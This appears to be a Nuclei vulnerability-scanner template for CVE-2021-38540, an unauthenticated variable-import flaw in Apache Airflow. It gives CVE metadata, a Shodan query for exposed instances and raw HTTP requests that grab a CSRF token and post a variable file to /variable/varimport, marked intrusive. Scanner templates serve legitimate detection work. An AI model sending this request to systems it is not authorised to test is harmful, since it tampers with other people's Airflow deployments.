81 lines
2.7 KiB
YAML
81 lines
2.7 KiB
YAML
id: CVE-2021-38540
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info:
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name: Apache Airflow - Unauthenticated Variable Import
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author: pdteam
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severity: critical
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description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
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remediation: Upgrade to Apache Airflow 2.1.3 or higher.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
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- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
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- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-38540
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cwe-id: CWE-269,CWE-306
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epss-score: 0.00588
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epss-percentile: 0.75904
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cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: apache
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product: airflow
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shodan-query: title:"Sign In - Airflow"
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tags: cve,cve2021,apache,airflow,rce,intrusive
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http:
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- raw:
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- |
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GET /login/ HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |
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POST /variable/varimport HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
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Referer: {{RootURL}}/admin/variable/
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------WebKitFormBoundaryB874qcjbpxTP1Hj7
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Content-Disposition: form-data; name="csrf_token"
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{{csrf}}
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------WebKitFormBoundaryB874qcjbpxTP1Hj7
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Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
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Content-Type: application/json
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{
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"type": "{{randstr}}"
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}
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------WebKitFormBoundaryB874qcjbpxTP1Hj7--
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cookie-reuse: true
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- contains(body_1, "Sign In")
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- status_code_2 == 302
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- contains(header_2, "session=.")
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condition: and
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- type: word
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words:
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- 'You should be redirected automatically to target URL: <a href="/">'
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- type="hidden" value="(.*?)">
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internal: true
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# digest: 4a0a004730450221008630a744eda59b7339c3a0fbc157b5d2ffe171a993eb3609021d30820da6d5be02205e6cb707996b9ea8da764a253b8ba3e95177f0cb9574470ff07a74adebfd970f:922c64590222798bb761d5b6d8e72950
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